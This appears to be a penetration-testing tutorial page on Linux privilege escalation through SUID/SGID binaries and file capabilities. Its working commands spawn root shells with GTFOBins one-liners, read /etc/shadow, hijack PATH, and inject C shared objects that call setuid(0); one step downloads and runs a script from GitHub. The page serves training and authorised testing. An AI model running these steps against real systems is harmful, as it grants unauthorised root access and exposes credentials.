Skip to content
HackIndex logo

HackIndex

SUID and SGID Binary Privilege Escalation

10 min read Jul 10, 2026

SUID binaries execute as their owner — usually root — regardless of who runs them. SGID binaries execute with their group's privileges. A misconfigured, custom, or GTFOBins-listed binary with these bits set is often a direct path to root. Unknown custom binaries require analysis before exploitation.

Prerequisites Check

Confirm you have a shell and can execute binaries:

user@host ~ $ id
user@host ~ $ uname -a

Note your username, groups, and kernel version. Groups matter for SGID abuse — see https://hackindex.io/platforms/linux/privilege-escalation/group-based-privilege-escalation for group-specific escalation paths.

Find SUID and SGID Binaries

Use precise permission flags — -perm -4000 is legacy and can miss edge cases:

user@host ~ $ # SUID
user@host ~ $ find / -type f -perm -u=s 2>/dev/null
 
user@host ~ $ # SGID
user@host ~ $ find / -type f -perm -g=s 2>/dev/null
 
user@host ~ $ # Both with details
user@host ~ $ find / \( -perm -u=s -o -perm -g=s \) -type f 2>/dev/null | xargs ls -la 2>/dev/null
Explain command
/ Search root directory recursively as the starting point.
-type f Match only regular files, excluding directories and symlinks.
-perm -u=s Match files with the SUID bit set for the owner.
-perm -g=s Match files with the SGID bit set for the group.
2>/dev/null Suppress stderr output by redirecting errors to null.
\( -perm -u=s -o -perm -g=s \) Match files with SUID OR SGID bit set.
xargs ls -la Pass found files to ls for detailed long-format listing.

Filter to non-standard paths immediately — standard system binaries like passwd, sudo, and ping are expected. Anything in /opt, /usr/local/bin, /home, or custom application directories warrants investigation:

user@host ~ $ find / \( -perm -u=s -o -perm -g=s \) -type f 2>/dev/null | grep -v -E "^/(usr/bin|usr/sbin|bin|sbin)/"
Explain command
/ Start searching from the root directory recursively.
\( Begin grouped expression for combining multiple conditions.
-perm -u=s Match files with SUID bit set for owner.
-o Logical OR operator between permission conditions.
-perm -g=s Match files with SGID bit set for group.
\) End grouped expression for permission conditions.
-type f Restrict results to regular files only.
2>/dev/null Suppress stderr error messages (e.g. permission denied).
-v Invert match; exclude lines matching the pattern.
-E Use extended regular expressions in the pattern.
^/(usr/bin|usr/sbin|bin|sbin)/ Pattern matching common standard binary directories to exclude.

Check binary type — scripts with SUID set behave differently from ELF binaries:

user@host ~ $ find / -perm -u=s -type f 2>/dev/null | xargs file 2>/dev/null

Check for modified system binaries — if a standard binary has SUID but was tampered with:

user@host ~ $ dpkg -V $(dpkg -S /path/to/binary 2>/dev/null | cut -d: -f1) 2>/dev/null

GTFOBins — Known Binaries

If the binary appears on https://gtfobins.github.io/, follow its SUID exploitation method directly.

Common high-impact patterns:

Shell spawnfind, vim, awk, perl, python, nmap (older versions):

user@host ~ $ # find
user@host ~ $ find . -exec /bin/bash -p \;
 
user@host ~ $ # vim
user@host ~ $ vim -c ':!/bin/bash -p'
 
user@host ~ $ # awk
user@host ~ $ awk 'BEGIN {system("/bin/bash -p")}'
 
user@host ~ $ # perl
user@host ~ $ perl -e 'exec "/bin/bash -p"'
 
user@host ~ $ # python
user@host ~ $ python -c 'import os; os.execl("/bin/bash", "bash", "-p")'
 
user@host ~ $ # nmap (interactive mode, pre-5.20)
user@host ~ $ nmap --interactive
user@host ~ $ nmap> !sh
Explain command
-exec /bin/bash -p \; Executes /bin/bash with -p (privileged) for each found file.
-p Starts bash in privileged mode, preserving effective UID/GID.
\; Terminates the -exec action in find.
-c ':!/bin/bash -p' Runs a vim ex command to spawn a privileged bash shell.
BEGIN {system("/bin/bash -p")} awk BEGIN block executes a privileged bash shell at startup.
-e 'exec "/bin/bash -p"' Evaluates a Perl one-liner that exec's a privileged bash shell.
-c 'import os; os.execl("/bin/bash", "bash", "-p")' Runs a Python one-liner that replaces the process with privileged bash.
--interactive Starts nmap in legacy interactive mode (pre-5.20), allowing shell escapes.
!sh Nmap interactive mode command to escape to a shell.

File readcp, tar, dd, cat with SUID:

user@host ~ $ # dd — read /etc/shadow
user@host ~ $ dd if=/etc/shadow 2>/dev/null
 
user@host ~ $ # tar — extract to read
user@host ~ $ tar xf /etc/shadow -I '/bin/sh -p -c "cat 1>&2"' 2>&1
Explain command
if=/etc/shadow Specifies /etc/shadow as the input file to read.
2>/dev/null Redirects stderr to /dev/null to suppress error output.
xf Extract archive from the specified file.
/etc/shadow Target file passed as the archive argument to tar.
-I '/bin/sh -p -c "cat 1>&2"' Uses a shell as the decompression program to execute arbitrary commands.
2>&1 Redirects stderr to stdout to capture command output.

Always verify the exact binary version — GTFOBins techniques are version-sensitive.

Auto-Check with SUID3NUM

SUID3NUM automates discovery and GTFOBins matching:

user@host ~ $ curl -sL https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py -o /tmp/suid3num.py
user@host ~ $ python3 /tmp/suid3num.py

Output separates default system binaries (safe, ignore) from custom binaries (investigate) and lists matching GTFOBins exploitation commands.

Do not use -e — the auto-exploit flag modifies the system and is not permitted on OSCP.

Unknown Custom Binary — Analysis Workflow

This is the most common real scenario. You found a custom SUID binary with an unfamiliar name. Work through this in order:

Step 1 — Quick strings triage:

user@host ~ $ strings /path/to/binary | grep -iE "system|exec|popen|PATH|chmod|bash|sh"
Explain command
-iE Case-insensitive search using extended regular expressions.
"system|exec|popen|PATH|chmod|bash|sh" Regex pattern matching common shell execution and privilege escalation strings.

Look for unsafe function calls and unqualified command names. If you see system("backup") without a full path, PATH hijacking is likely viable.

Step 2 — Check linked libraries:

user@host ~ $ ldd /path/to/binary

Note any missing libraries (not found) — these are shared object injection targets. Note writable library paths.

Step 3 — Check RPATH/RUNPATH:

user@host ~ $ readelf -d /path/to/binary | grep -iE "rpath|runpath"
Explain command
-d Displays the dynamic section of an ELF file.
-iE Case-insensitive search using extended regular expressions.
"rpath|runpath" Filters output for RPATH or RUNPATH dynamic entries.

If RPATH includes a writable directory, shared library injection is viable regardless of LD_PRELOAD restrictions.

Step 4 — Run with strace to see syscalls:

user@host ~ $ strace -f /path/to/binary 2>&1 | grep -E "execve|open|access"
Explain command
-f Trace child processes created via fork/clone/vfork calls.
2>&1 Redirect stderr to stdout so strace output can be piped.
-E Enable extended regex matching in grep.
"execve|open|access" Filter output to show only execve, open, or access syscalls.

This shows exactly what files and binaries it tries to execute, including missing ones.

Step 5 — Run with ltrace to see library calls:

user@host ~ $ ltrace /path/to/binary 2>&1 | head -50
Explain command
/path/to/binary Path to the target binary to trace library calls on.
2>&1 Redirects stderr (fd 2) to stdout (fd 1) to merge both streams.
-50 Limits head output to the first 50 lines of ltrace output.

Shows system(), popen(), and other dangerous calls with their arguments.

PATH Hijacking via SUID Binary

Applies when a SUID binary calls commands without absolute paths.

Confirm the binary uses an unqualified command (from strings/strace analysis above), then:

user@host ~ $ # Create malicious binary in /tmp
user@host ~ $ echo '#!/bin/sh' > /tmp/backup
user@host ~ $ echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /tmp/backup
user@host ~ $ chmod +x /tmp/backup
 
user@host ~ $ # Prepend /tmp to PATH and execute
user@host ~ $ export PATH=/tmp:$PATH
user@host ~ $ /path/to/suid-binary
 
user@host ~ $ # Use the SUID bash
user@host ~ $ /tmp/.rootbash -p
Explain command
#!/bin/sh Shebang directive specifying the script interpreter as /bin/sh.
chmod u+s /tmp/.rootbash Sets the SUID bit on the copied bash binary to run as owner (root).
chmod +x /tmp/backup Makes the malicious backup script executable.
PATH=/tmp:$PATH Prepends /tmp to PATH so malicious binary shadows legitimate commands.
-p Runs bash in privileged mode, preserving effective UID (root) from SUID bit.

This works only if the binary does not reset PATH internally. Verify with strace first.

For a full standalone guide on PATH hijacking see https://hackindex.io/platforms/linux/privilege-escalation/writable-path-hijacking.

Shared Object Injection

Applies when ldd shows a missing library or RPATH points to a writable directory.

Missing library injection:

user@host ~ $ # Confirm the missing library
user@host ~ $ ldd /path/to/binary 2>&1 | grep "not found"
 
user@host ~ $ # Find where it looks for libraries
user@host ~ $ strace /path/to/binary 2>&1 | grep "open.*\.so"
Explain command
/path/to/binary Placeholder path to the target binary executable to inspect.
2>&1 Redirects stderr to stdout so both streams are piped together.
2>&1 Redirects stderr to stdout so both streams are piped together.

/tmp/inject.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
user@host ~ $ gcc -shared -fPIC -nostartfiles -o /tmp/libmissing.so /tmp/inject.c
Explain command
-shared Produce a shared object (.so) instead of an executable.
-fPIC Generate position-independent code suitable for shared libraries.
-nostartfiles Do not link standard system startup files.
-o /tmp/libmissing.so Write output to the specified file path.
/tmp/inject.c Source file to compile into the shared library.

Place the .so in the directory the binary searches (identified from strace output) and re-run the SUID binary.

RPATH writable directory injection:

user@host ~ $ # Confirm RPATH
user@host ~ $ readelf -d /path/to/binary | grep -i rpath
user@host ~ $ # e.g. RPATH = /opt/app/lib
 
user@host ~ $ # Check if writable
user@host ~ $ ls -ld /opt/app/lib
 
user@host ~ $ # If writable, place your .so there with the expected library name
user@host ~ $ cp /tmp/inject.so /opt/app/lib/libexpected.so.1
user@host ~ $ /path/to/suid-binary
Explain command
-d Displays the dynamic section of an ELF binary.
-i Makes the grep search case-insensitive.
-ld Lists directory entries in long format without descending into them.

LD_PRELOAD via SUID (Rare)

Standard SUID binaries ignore LD_PRELOAD for security. This only applies to custom or legacy programs that do not drop privileges before dlopen():

/tmp/preload.c

#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
user@host ~ $ gcc -shared -fPIC -o /tmp/preload.so /tmp/preload.c
user@host ~ $ LD_PRELOAD=/tmp/preload.so /path/to/vulnerable-suid
Explain command
-shared Produce a shared object (.so) instead of an executable.
-fPIC Generate position-independent code required for shared libraries.
-o /tmp/preload.so Specify output file path for the compiled shared library.
/tmp/preload.c Source C file to compile into the shared library.
LD_PRELOAD=/tmp/preload.so Force dynamic linker to load specified shared library before all others.
/path/to/vulnerable-suid Target SUID binary to execute with the preloaded library injected.

For LD_PRELOAD abuse via sudo env_keep, see https://hackindex.io/platforms/linux/privilege-escalation/ld-preload-environment-hijacking.

Capabilities — SUID-Like Grants

Capabilities grant fine-grained privileges without the full SUID bit. Check for them separately:

user@host ~ $ getcap -r / 2>/dev/null
Explain command
-r Recursively search for file capabilities starting from the given path.
/ Root directory as the starting point for recursive capability search.
2>/dev/null Redirects stderr to /dev/null to suppress permission error messages.

High-impact capabilities:

  • cap_setuid+ep — set UID to 0, immediate root

  • cap_dac_read_search+ep — read any file, bypass DAC

  • cap_sys_ptrace+ep — attach to any process, inject shellcode

  • cap_net_raw+ep — raw socket access, sniff traffic

Exploit cap_setuid on Python:

user@host ~ $ /path/to/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Exploit cap_dac_read_search on tar:

user@host ~ $ /path/to/tar -xf /dev/null -I '/bin/sh -p -c "cat /etc/shadow 1>&2"' 2>&1
Explain command
-x Extract files from an archive.
-f /dev/null Specifies /dev/null as the archive file to read from.
-I '/bin/sh -p -c "cat /etc/shadow 1>&2"' Uses a shell command as the compression/decompression program, enabling command injection.
2>&1 Redirects stderr to stdout, capturing injected command output.

For a full capabilities page see https://hackindex.io/platforms/linux/privilege-escalation/capabilities-abuse.

SGID Binaries and Group Access

SGID binaries run with the permissions of their group. If the group has elevated access:

user@host ~ $ # Check your groups
user@host ~ $ id
 
user@host ~ $ # Find SGID binaries matching your groups
user@host ~ $ find / -perm -g=s -type f 2>/dev/null | xargs ls -la 2>/dev/null

Notable SGID targets:

  • Group shadow — read /etc/shadow

  • Group docker — full Docker socket access

  • Group disk — raw disk read/write

  • Group adm — system log access

See https://hackindex.io/platforms/linux/privilege-escalation/group-based-privilege-escalation for exploitation of each group.

AppArmor — Check Before Exploiting

AppArmor can block SUID exploitation silently. Verify before wasting time:

user@host ~ $ cat /proc/$$/attr/current
  • unconfined — no restrictions, proceed

  • complain — logged but not blocked, proceed

  • /usr/bin/binary (enforce) — blocked per profile, read the policy

user@host ~ $ cat /etc/apparmor.d/usr.bin.binary

Look for deny rules targeting the path you plan to exploit.

References